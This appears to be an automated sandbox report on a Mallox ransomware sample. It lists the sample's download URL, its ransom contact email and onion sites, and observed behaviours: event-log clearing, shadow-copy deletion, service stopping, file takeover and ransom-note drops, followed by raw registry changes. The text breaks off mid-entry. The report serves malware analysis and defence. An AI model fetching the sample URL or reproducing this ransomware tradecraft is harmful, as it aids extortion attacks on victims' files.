Analysis
-
max time kernel
258s -
max time network
337s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
28-03-2023 16:13
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://80.66.75.37/a-Xgjsx.exe
Resource
win10-20230220-en
General
-
Target
http://80.66.75.37/a-Xgjsx.exe
Malware Config
Extracted
C:\Program Files\7-Zip\Lang\FILE RECOVERY.txt
mallox.resurrection@onionmail.org
http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin
http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion
Signatures
-
Clears Windows event logs 1 TTPs 64 IoCs
Processes:
wevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exepid process 5148 4816 wevtutil.exe 4912 2868 4724 5476 wevtutil.exe 5412 4512 5512 520 3648 4488 4772 2484 5964 2176 6012 wevtutil.exe 5376 5320 2844 4892 3584 2664 3568 3416 2964 5460 1728 4904 2164 4528 4480 4340 6136 3196 5412 5976 4436 5488 5264 1140 5264 5744 6084 4800 980 720 2588 5204 wevtutil.exe 1888 2944 5516 1688 wevtutil.exe 2628 4836 3912 520 5876 5628 wevtutil.exe 1564 wevtutil.exe 4892 5556 5784 3888 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Downloads MZ/PE file
-
Stops running service(s) 3 TTPs
-
Executes dropped EXE 2 IoCs
Processes:
a-Xgjsx.exea-Xgjsx.exepid process 2124 a-Xgjsx.exe 2104 a-Xgjsx.exe -
Modifies file permissions 1 TTPs 18 IoCs
Processes:
takeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exepid process 4916 takeown.exe 1296 takeown.exe 1040 takeown.exe 2464 takeown.exe 2968 takeown.exe 628 takeown.exe 2380 takeown.exe 3284 takeown.exe 3440 takeown.exe 3240 takeown.exe 5056 takeown.exe 4396 takeown.exe 4412 takeown.exe 2588 takeown.exe 412 takeown.exe 2972 takeown.exe 4856 takeown.exe 4148 takeown.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
chrome.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Windows\CurrentVersion\Run chrome.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
a-Xgjsx.exedescription ioc process File opened (read-only) \??\M: a-Xgjsx.exe File opened (read-only) \??\O: a-Xgjsx.exe File opened (read-only) \??\W: a-Xgjsx.exe File opened (read-only) \??\E: a-Xgjsx.exe File opened (read-only) \??\L: a-Xgjsx.exe File opened (read-only) \??\V: a-Xgjsx.exe File opened (read-only) \??\I: a-Xgjsx.exe File opened (read-only) \??\J: a-Xgjsx.exe File opened (read-only) \??\P: a-Xgjsx.exe File opened (read-only) \??\R: a-Xgjsx.exe File opened (read-only) \??\T: a-Xgjsx.exe File opened (read-only) \??\A: a-Xgjsx.exe File opened (read-only) \??\F: a-Xgjsx.exe File opened (read-only) \??\H: a-Xgjsx.exe File opened (read-only) \??\U: a-Xgjsx.exe File opened (read-only) \??\X: a-Xgjsx.exe File opened (read-only) \??\Z: a-Xgjsx.exe File opened (read-only) \??\N: a-Xgjsx.exe File opened (read-only) \??\Q: a-Xgjsx.exe File opened (read-only) \??\S: a-Xgjsx.exe File opened (read-only) \??\Y: a-Xgjsx.exe File opened (read-only) \??\B: a-Xgjsx.exe File opened (read-only) \??\G: a-Xgjsx.exe File opened (read-only) \??\K: a-Xgjsx.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 145 api.ipify.org -
Drops file in System32 directory 1 IoCs
Processes:
mmc.exedescription ioc process File opened for modification C:\Windows\system32\eventvwr.msc mmc.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
a-Xgjsx.exedescription pid process target process PID 2124 set thread context of 2104 2124 a-Xgjsx.exe a-Xgjsx.exe -
Drops file in Program Files directory 64 IoCs
Processes:
a-Xgjsx.exedescription ioc process File created C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Awards\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\7-Zip\Lang\sk.txt a-Xgjsx.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\THIRDPARTYLICENSEREADME-JAVAFX.txt a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Professional2019R_Trial-pl.xrm-ms a-Xgjsx.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo a-Xgjsx.exe File created C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fi-fi\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluTSFrame.png a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c\SkypeApp\Assets\SplashScreen.scale-125.png a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\TrafficHub\LargeTile.scale-125.png a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\contrast-white\Weather_TileWide.scale-100.png a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Audio\dcGoalFly_D.wav a-Xgjsx.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-root-bridge-test.xrm-ms a-Xgjsx.exe File created C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe\microsoft.system.package.metadata\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\OneNoteR_Trial-ul-oob.xrm-ms a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\StandardR_Retail-ppd.xrm-ms a-Xgjsx.exe File opened for modification C:\Program Files\Mozilla Firefox\precomplete a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Images\Ratings\Yelp3.scale-125.png a-Xgjsx.exe File created C:\Program Files\VideoLAN\VLC\locale\cy\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-options-keymap.jar a-Xgjsx.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ro\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\FrameworkList.xml a-Xgjsx.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ko-kr\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019VL_MAK_AE-ul-oob.xrm-ms a-Xgjsx.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\tr\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\da-dk\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\FILE RECOVERY.txt a-Xgjsx.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\hu-hu\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\OneNoteVL_MAK-ppd.xrm-ms a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\redshift.ini a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PROOF\MSSP7FR.LEX a-Xgjsx.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-sl\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleLargeTile.scale-125.png a-Xgjsx.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sk-sk\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-execution_zh_CN.jar a-Xgjsx.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\LICENSE a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdXC2RVL_KMS_ClientC2R-ul-oob.xrm-ms a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_Grace-ppd.xrm-ms a-Xgjsx.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\nl-nl\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\MediumBlue.png a-Xgjsx.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mn\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-100.png a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c\SkypeApp\Assets\SkypeLargeTile.scale-125_contrast-white.png a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\TimerLargeTile.scale-125.png a-Xgjsx.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-tw\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Awards\challenge\Came_To_Play_Unearned_small.png a-Xgjsx.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Awards\common\Jack_Of_All_Trades_.png a-Xgjsx.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\root\FILE RECOVERY.txt a-Xgjsx.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\hijrah-config-umalqura.properties a-Xgjsx.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\license.html a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Calibri-Cambria.xml a-Xgjsx.exe File opened for modification C:\Program Files\Microsoft Office\root\Templates\1033\PersonalMonthlyBudget.xltx a-Xgjsx.exe -
Drops file in Windows directory 2 IoCs
Processes:
taskmgr.exedescription ioc process File created C:\Windows\rescache\_merged\4183903823\810424605.pri taskmgr.exe File created C:\Windows\rescache\_merged\1601268389\3877292338.pri taskmgr.exe -
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 4196 sc.exe 3748 sc.exe 4204 sc.exe 4460 sc.exe 5792 sc.exe 5700 sc.exe 5484 sc.exe 508 sc.exe 3872 sc.exe 5988 sc.exe 4892 sc.exe 3280 sc.exe 4532 sc.exe 3244 sc.exe 4844 sc.exe 2536 sc.exe 5328 sc.exe 5768 sc.exe 2072 sc.exe 5132 sc.exe 2668 sc.exe 5540 sc.exe 4424 sc.exe 2820 sc.exe 3404 sc.exe 4892 sc.exe 3872 sc.exe 5400 sc.exe 5376 sc.exe 4444 sc.exe 6068 sc.exe 2204 2308 sc.exe 2840 sc.exe 3428 sc.exe 64 sc.exe 4216 sc.exe 5364 sc.exe 3508 2752 1316 sc.exe 260 sc.exe 4480 sc.exe 5512 sc.exe 2888 sc.exe 5420 sc.exe 2300 sc.exe 5232 5796 2460 sc.exe 3732 sc.exe 1040 sc.exe 5432 sc.exe 4496 sc.exe 4160 sc.exe 3732 sc.exe 4740 sc.exe 5844 sc.exe 3224 sc.exe 5724 sc.exe 4888 sc.exe 2664 sc.exe 1572 sc.exe 5968 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Discovers systems in the same network 1 TTPs 2 IoCs
-
Enumerates processes with tasklist 1 TTPs 6 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exepid process 1436 tasklist.exe 5852 tasklist.exe 1072 tasklist.exe 5504 tasklist.exe 3884 tasklist.exe 356 tasklist.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
chrome.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe -
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exevssadmin.exepid process 5088 vssadmin.exe 4984 vssadmin.exe -
Kills process with taskkill 64 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 5352 5700 5748 5756 taskkill.exe 5604 2908 5448 2496 832 3556 taskkill.exe 3468 428 432 taskkill.exe 6008 taskkill.exe 4344 2484 1756 5796 5620 6032 5444 2720 4048 4496 6044 5220 668 4048 2972 6068 5628 5420 5720 1476 taskkill.exe 5364 4184 2016 taskkill.exe 5976 5544 5412 5572 4112 4780 taskkill.exe 760 4488 5192 4976 6016 taskkill.exe 4748 taskkill.exe 4336 2880 4240 3408 5060 5488 2552 2536 4892 1164 taskkill.exe 3768 5288 2156 4304 3500 -
Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
Processes:
iexplore.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\PhishingFilter iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = 43f289759c45d901 iexplore.exe -
Processes:
iexplore.exeIEXPLORE.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\RepId iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Main\DownloadWindowPlacement = 2c0000000000000000000000ffffffffffffffffffffffffffffffff100100003c000000900300001c020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80662728a161d901 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{505FC0A4-CD94-11ED-A853-6601CCCDB590} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "667838974" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "632826002" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000997a23a2ecd7164cbfc0800bd950d6620000000002000000000010660000000100002000000013f25c6dc6edf2125ae1b027847adfce6d4e8dac52be75a5bc655033081d9d5b000000000e8000000002000020000000eee8146bdcb7aced15f380f2cffb89d6a2899494a41e4dc9a5fd2b517de3ce2d20000000e764c3d80f427252feb3b996d18177b29ec511be932b2c46fb9d94375be48a574000000067d9f2a82a273bd3091d53a9d1d19766abab9c85d082a11e1e9773572a5ee9e0fb7975d54e2bacf0a9bf69dcaad2fd6382ac320ef24a4707344be864c1266495 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a00e1928a161d901 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\RepId\PublicId = "{C65E84CA-5B36-4104-AE57-85823FE756E5}" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000997a23a2ecd7164cbfc0800bd950d66200000000020000000000106600000001000020000000bc77212f6ca334995aa086a695ae7576dea12b41efee44bb22195fd3b2f74784000000000e8000000002000020000000c25b8f79b4ab0682963b58d07d6b525df8ac63cd8fe91052e08206f1bda3b83f200000001fc9e6af3af54ee24db4b15bd2843e8aeac6259be88e8645304b079706afc67a40000000451513483ee12fe127db7a57e0b36b36ec5aae9ae3c16427fd8e2cf9cad55462df92b5f1b94fb6770a524c2d9cb5790101e4b08e68acddb5a365779ec847463f iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "632826002" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31023521" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31023521" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31023521" IEXPLORE.EXE -
Modifies data under HKEY_USERS 2 IoCs
Processes:
chrome.exedescription ioc process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133245008650958867" chrome.exe -
Modifies registry class 64 IoCs
Processes:
chrome.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 3a001f44471a0359723fa74489c55595fe6b30ee260001002600efbe10000000eeee93975945d9016cc98a2f6445d9016cc98a2f6445d90114000000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\IconSize = "48" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1" chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}" chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg chrome.exe Key created \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-640001698-3754512395-3275565439-1000_Classes\Local 